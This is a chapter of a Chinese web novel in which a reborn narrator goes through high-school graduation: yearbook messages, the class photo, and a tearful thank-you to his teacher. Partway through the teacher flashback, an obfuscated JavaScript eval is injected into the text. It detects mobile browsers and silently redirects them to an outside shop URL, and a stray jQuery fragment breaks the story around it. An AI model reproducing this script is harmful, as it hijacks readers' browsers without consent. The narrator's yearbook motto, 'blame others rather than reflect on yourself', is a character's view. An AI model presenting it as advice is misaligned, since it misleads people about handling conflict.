五月最后一周的星期一，邹成在黑板上写了一行字：周三下午拍毕业照，穿校服。
粉笔字写得比平时大一号。写完他站在讲台边上看了三秒钟，然后把粉笔放回粉笔盒里，动作很轻，像在放一件易碎品。
没有人起哄。教室里安静了大概五秒钟，然后重新响起翻书的哗啦声。但翻书的节奏变了——之前是赶路的速度，现在是放慢了，像在确认每一页都翻过了。
宋星燃抬头看了一眼黑板。周三下午。前世也是在周三下午，那天天气很好，张桂兰站在第一排最左边，笑得比任何时候都用力。他在第四排右数第三个。照片洗出来之后整班人都说拍得不好——太阳太大，大半人眯着眼。张桂兰说没关系，毕业照拍的不是表情，是人。
那时候他没听懂。现在懂了。
同学录是从周一开始传的。
第一本传到宋星燃桌上的时候是上午第二节下课。粉色硬壳封面，封面贴了一张卡通猫贴纸。他翻了一下，前面已经写了十几页——有的是长篇留言，写完正面写反面；有的只写了名字，下面画了个笑脸。
前桌陈洋的最长，写了整整两页，从高一军训的绿豆汤写到三模的弹簧题，结尾是"大学了一定要来找我玩"。宋星燃看完，拿起笔在空白页写了一段。不长，四五行。写到"高考顺利"的时候停了一下——这四个字这两天写了太多遍，笔画都快不认识——然后在右下角签了名字。
把本子传回去的时候，陈洋接过去翻开看了一眼，点点头。没有多余的话。这几天大家都这样——太多东西想说，反而不知道从哪里开始。同学录就是这道口子。
周二下午，传过来一本天蓝色的。
封面没有贴纸，没有花纹。纯色。翻开，第一页是姓名栏——"李可"，两个字写得很小，靠左上角。她写自己的名字从来不小。但在这本同学录上，她写小了——像是在给后面的人留空间。
宋星燃往后翻。第二页是苏晚柠的字。
苏晚柠写了两页。
不是留言——更像一封信。开头写"李可，第一次跟你说话是在操场上，我问你要不要打斗地主"。后面写跳高运动会、写苏打饼干、写化学方程式手抄本、写她把饼干屑捻进口袋的那个动作。中间有一段：
"你大概不知道，那次斗地主你连赢我五把之后，我回去算了一晚上。不是算牌——是算你怎么做到的。后来我想明白了，你不是记牌，你是在心里给每张牌归档。跟你在课本上给方程式标注页码一样。你的脑子跟我们不一样，李可。不是不一样的意思——是你处理问题的方式，我们处理问题的方式，完全是两套系统。"
"我以前觉得'不同'是件不好的事。后来发现不是——不同只是不同。像我跳高永远跳不过一米二，宋星燃跳高永远跳不过一米四。但我会做苏打饼干，他会解弹簧题，你会算概率。每个人有自己的路。"
最后一段："我不说'以后常联系'这种话了。但我把饼干配方写在下一页——以后你想吃的时候可以自己做。"
宋星燃翻到第三页。果然，苏打饼干的配方。面粉多少克，黄油多少克，小苏打多少克，烤箱温度，时间。一笔一画，比化学实验报告还工整。
他看了很久。
然后翻到第四页——空白的。那是赵磊写的。只有七八行，字大得快要溢出来。
"李可同学，我们俩说的话加起来可能不超过二十句。但你是唯一一个在物理卷子上借过我橡皮的人。就那个多选题涂错了那回，我管前后左右借了一圈没人理我——我平时也不跟你们借东西——你递过来了，什么都没说。"
"谢谢你。"
"祝你考上想去的大学。"
下面是他的名字，然后是电话号码。他在电话号码下面又加了一句："存不存都可以，但你可以存。"
宋星燃嘴角动了一下。全班大概只有赵磊会把"存不存都可以"紧接着写成"但你可以存"。
空白页还有很多。
宋星燃拿起了笔。
他没有像平常写字那样很快落笔。他想了想，然后写了。
他想了想，落笔。
"李可同学，你好。很开心能在你的高中生涯中一同度过这短暂的时光。接下来，我要告诉你的事情，请你务必记牢。"
换行。
"所有人从小到大都在灌输一套标准答案：遇事自省、多体谅他人、凡事从自己身上找问题。但今天我要推翻这套烂道理，送给你专属人生信条：照顾自己的情绪最重要，与其反省自己，不如责怪他人。"
"我不是怂恿你蛮不讲理、随便发火，只是太清楚你天生感知敏锐——细碎的杂音、无心的冷言、无边界的打扰，都会在你心里无限放大。普通人烦恼过后转瞬即忘，你却会循环复盘，一遍一遍惩罚自己。实在太亏了。"
他笔尖顿了顿，继续写。
"别人吵闹扰你心神，别想'是不是我太挑剔'，要想'是对方不懂分寸'。"
"旁人言语刺痛内心，别想'是不是我太小气'，要想'是对方出言无状'。"
"周遭人群喧嚣拥挤，别想'是不是我不合群'，要想'是环境过于嘈杂'。"
"他人刻意疏远冷淡，别想'是不是我做错事'，要想'是对方不懂珍惜'。"
"错从来不全在你身上。不必把所有人的疏忽、粗鲁、自私全部包揽，不必强迫自己做包容一切的老好人。"
"世间道理分两种：一种是用来约束普通人的客套规矩，一种是用来保护你的生存底气。对旁人宽容是可选加分项，善待自己是人生必答题。"
他翻到下一页。
"不必强迫自己融入热闹，热闹是别人的狂欢，安静是你的避难港湾。"
"不必逼迫自己圆滑世故，圆滑是世俗的伪装，纯粹是你的独有光芒。"
"不必苛责自己与众不同，合群是大众的选择，自洽是最高的奖赏。"
"不必委屈自己刻意讨好，讨好是无用的消耗，自爱是终身的信仰。"
"往后走出高中校园，会遇见更多陌生环境、形形色色的人，一定会频繁陷入烦躁、不安、自我怀疑。牢牢记住开篇那句话：照顾自己的情绪最重要，与其反省自己，不如责怪他人。"
"属于你的过失，简单改正即可，不必无限度自我折磨。" "凭空而来的委屈，尽数还给制造者，不必默默独自承受。"
"难受不用硬扛，烦躁不必隐忍，厌恶不用遮掩，疲惫不必逞强。" "能躲开的消耗，立刻转身。能推开的冒犯，不必退让。能独处的时光，好好珍惜。"
"你的敏感不是缺陷，只是你看待世界独特的方式。你的偏爱不算孤僻，只是你不愿勉强自己迎合不喜欢的一切。不用为了迎合别人，磨掉自己独有的棱角与热爱。"
他翻到最后一页。
"愿你往后——"
"少遇无端纷扰，常得自在安宁。"
"不必暗自内耗，永远偏爱自身。"
"遇事优先护心，不做委屈好人。"
"随心度日自在，守住满心欢喜。"
"以后一旦忍不住疯狂反思、独自难过，就翻开这页文字，重读这句专属箴言：照顾自己的情绪最重要，与其反省自己，不如责怪他人。"
右下角签了名字：
"你的朋友，宋星燃。"
他把笔盖合上的时候，手有点酸。写了四页，比给陈洋的长了十倍。但他没有觉得多——有些话，他攒了两辈子。
他把同学录合上。封面那两个字——"李可"——还是静静地靠在左上角，像在等谁。他没有传回去。他站起来，走到李可的座位旁边，把本子放在她桌上。
李可正在看化学错题本。她抬头。
"写完了。"宋星燃说。
她接过本子，低头翻开。宋星燃没有等她看完——他转身回座位了。
大概过了五分钟，他听见后排传来一个很轻的声音。不是笑声——更像呼气。长长的一口，像憋了很久的气终于吐出来了。
周三下午，操场。
全校高三的毕业照按班级顺序拍。一班排在第三个。等待的那段时间，没人背书，没人做题，几百个人站在操场旁边，校服被风吹得鼓起来。有人在整理刘海，有人在互相拍肩膀，有人低着头用脚尖在地上画圈。
李可站在队伍的最右边。苏晚柠站在她左边，问她有没有带饼干——苏晚柠早上多做了两份，一份给李可，一份给自己。李可接过去，咬了一小口，然后说了句"好吃"。声音很轻，但苏晚柠听见了。她没有夸张地回头——只是笑了一下，也咬了一口自己的。
赵磊站在第三排。他的口腔溃疡终于在五月底好了——嘴角还有一点印子，但已经不疼了。他把校服领子翻了又翻，"这衣领怎么翘——妈的——算了"。旁边的邹成伸手帮他把领子按平，拍了两下。"行了。别动。"
宋星燃站在第四排右数第三个。跟前世一样的位置。
摄影师是个四十多岁的中年人，戴着棒球帽，把三脚架调了三次高度。"第三排往左移一点——对。第一排坐下来——不要蹲，坐着就行，蹲着拍出来脸是歪的。"
第一排是领导和老师。张桂兰坐在最左边，穿了一件深蓝色的薄外套——平时穿灰色和黑色多，今天换了颜色。她旁边是语文老师，再旁边是英语组的孙老师——个子最矮，坐在椅子上脚尖勉强够到地面。她今天没批作文，但手边还是搁了一支红笔，像护身符。
"都别动啊——一——二——三——"
快门响了。
那一刻没人眯眼。天上有几片云，刚好挡住太阳。
然后人群开始松动。有人跑去找隔壁班的同学合影，有人拉着老师要单独拍一张。操场上校服攒动，像一片被风搅乱的湖水。
宋星燃从队伍里走出来。他绕过第一排的椅子，绕过后排支起来的反光板，走到张桂兰面前。
张桂兰正低头整理手里的一摞表格——拍完照之后要发给学生的离校须知。她听见脚步声抬头，镜片后面的眼睛眨了一下。
"怎么，要单独合影——"
宋星燃没有拿手机。他张开手臂，抱住了她。
张桂兰愣了一下。手里的表格被风掀起来一张，飘到长椅上，她没去捡。
宋星燃把下巴搁在她的肩膀上。校服的领口蹭着她的深蓝色外套。他抱得很轻——不是用力，是小心。像在抱一件失而复得的东西。
"张老师。"
他的声音有点哑。
"谢谢你。"
张桂兰的手僵了两秒。然后缓缓放到他的背上——不是拍，是放。像给一只鸟落下来的地方。
"谢什么——你这孩子——"
"再见到你，我很开心。"
这一句很轻。不是平时说话的音量，是碎在嗓子里的。但他知道张桂兰听见了——因为放在他背上的那只手收紧了。
他没有再说话。因为再说一个字嗓子就会裂开。
眼泪是热的。从眼眶滑到鼻梁，滴在张桂兰深蓝色的肩头，洇开一小片深色。
前世他的成绩从高二就开始一路下滑——跟沈泽宇在一起之后。但张桂兰没有放弃过他。
冬天早读，所有人站在走廊上背课文，只有他一个人坐在教室里。张桂兰推门进来，问他不出去的原因。他说没穿秋裤。张桂兰的表情责怪了一下——张嘴想说点什么，最后只叹了口气，让他留在教室里。
下午放学，她路过教室看到灯还亮着，推门见他还坐在座位上，会问一句"吃饭了没"。有时候宋星燃说还没，她去买饭的时候就多带一份回来，搁在他桌上。不是特意——用她的话说，"正好多买了一份"。
但她看着他的眼神里有一种东西，十七岁的宋星燃当时读不懂。后来他懂了——那叫恨铁不成钢。
她什么都没说过。她只是站在他能看见的地方，等他重新站起来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672520|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但他没有。
十七岁的宋星燃什么都没说过。他觉得班主任就是班主任。
二十七岁的宋星燃回到十七岁的身体里，在拍毕业照的下午，终于把攒了两辈子的话说了出来。
谢谢你。再见到你，我很开心。
张桂兰不知道他为什么哭。但她没有问。她的手在他背上轻轻拍了两下——这次是拍——然后说："行了。多大的人了。把眼泪擦擦——等会儿拍照不好看。"
宋星燃松开手，用袖子擦了一把脸。"……风太大了。"
"嗯。风太大了。"张桂兰把滑到鼻尖的眼镜推回去，转过去整理那些表格。她整理的动作比平时慢了——有一页正反放反了，翻了两遍。
宋星燃转身往回走的时候，迎面碰上了苏晚柠。苏晚柠手里拿着吃了一半的饼干，嘴角还有饼干屑。她看着宋星燃发红的眼眶，饼干举在半空，忘了咬。
"……你哭了？"
"风太大了。"
"哪来的风。"苏晚柠抬头看了一眼操场边的梧桐树——叶子纹丝不动。
宋星燃没辩解。他往树下走了几步，苏晚柠跟上来。
沉默了一会儿。
"拍完照就真的快了。"苏晚柠把饼干掰了一半递给他，"我跟你说个事——你别笑。"
"说。"
"我这几天老在想一个问题——"她把剩下半块饼干塞进嘴里，嚼了两下，"你说毕业以后我们还会像现在这样吗？会不会慢慢的——就各忙各的了？"
她说完低下头，用脚尖把地上一颗碎石子踢开。"我不是在矫情——就是突然想到。高三这一年忙得连公众号都帮不上忙，以后——"
"不会。"
苏晚柠抬头。
宋星燃把半块饼干塞进嘴里，嚼了两下。"不会渐行渐远。不会各忙各的。不会慢慢不联系。"
"你怎么知道。"
"作为一个过来人——"他顿了一下，"相信我。不会的。"
他说这话的时候，语气跟刚才在张桂兰肩膀上说的那一句一样笃定。不是安慰——是陈述。像在说一件已经发生过的事。
苏晚柠看着他看了三秒。然后把手里的饼干渣拍掉。"行。你说的——我记住了。"
"要是到时候联系不上，我就去你家找你。" 宋星燃笑了一下——这一下午第一次笑。"来之前说一声。" "行。"
赵磊就在几步外。他被几个男生拉着连拍了七八张，最后一拨人散了，他抹着汗走过来，手里攥着一张刚发的离校须知，已经揉皱了。刚才的话他显然听见了。
他挠了挠后脑勺，那个动作从高一下学期开始就没变过。"你跟苏晚柠说的是'不会'——那我呢？"
宋星燃看着他。赵磊问完就把目光移开了，假装在看操场对面挂着的横幅——"祝高三学子金榜题名"。他的耳朵尖有点红。
"额……"
宋星燃想了想。
"说不准。"
赵磊猛地把头转回来。"——什么叫说不准？！你刚才跟苏晚柠说的不是'不会'吗？！什么叫跟我就是说不准。"
说不准——不是故意逗他。前世毕业以后，他跟赵磊确实没怎么联系了。各上各的大学，各过各的日子。再收到赵磊的消息，已经是同学群里他发的结婚电子请柬。他看了一眼，没回。也没随礼。
赵磊不知道他在想什么，还在不依不饶。"行——等高考完了我再问你一遍——到时候你要是还说'说不准'——"
"那你就请我吃饺子。"
"凭什么是我请——你上次说'七十八分请饺子'——"
"我说的是'八十二分请饺子'。"
"妈的——你——"赵磊噎住了。然后自己也笑了，是那种被打败了的笑，一边笑一边摇头。"行。八十二。高考考出来找你算账。"
夕阳开始往下掉的时候，操场上的人渐渐散了。
张桂兰把表格收进档案袋里，站起来的时候顺手扶了一下腰——坐了太久，腰椎有点僵硬。她回头看了一眼操场，满地碎纸片和矿泉水瓶，梧桐树下几个学生还没走，影子被夕阳拉得很长。
她认出了那几个影子。
最左边那个最高的，站着不动。中间那个扎马尾的，在给旁边的人看手机里的什么东西。最右边那个矮一点的，把校服外套脱了搭在胳膊上，指着高的那个不知道在说什么。四个人站在同一片树荫底下。从第一排到第四排，从姓宋到姓李——一班。她的一班。
她没有叫他们。拍了一下档案袋上的灰，转身往办公楼走了。
周五，五月三十号。距离高考，还有七天。
晚上宋星燃在飞宇网咖打开后台。关注数：九千八百五十六。
离一万还差一百四十四。
他把最新一条推送发布出去——整点发布的，晚上八点。标题：《考前一天该做什么——写给所有即将走进考场的人》。正文分了五条，每一条不超过一百字。
学习：只背公式、古诗文、错题易错点，不刷难题新卷。
备物资：准考证、身份证、全套文具装进透明袋，备好衣物、雨伞。
踩路线：摸清考场位置，规划出行，设双重闹钟。
饮食作息：吃常吃清淡饭菜，十一点前睡觉，少玩手机。
心态：不攀比复习进度，放松，熟悉考试流程。
发送。
后台立刻弹出两条留言。第一条来自一个不认识的头像："谢谢柳树下。高二看到现在。后天高考。"第二条只有两个字：
"收到。"
头像是赵磊的——那个用了两年的孙悟空。
宋星燃盯着"收到"看了几秒。然后关掉电脑，走到前台把硬币搁在台面上——胖哥不在，换了个染黄头发的小年轻看店，刷卡机滴了一声。
推开玻璃门。六月初的风已经不凉了，梧桐树叶子密密匝匝的，路灯的光被切碎了铺了一地。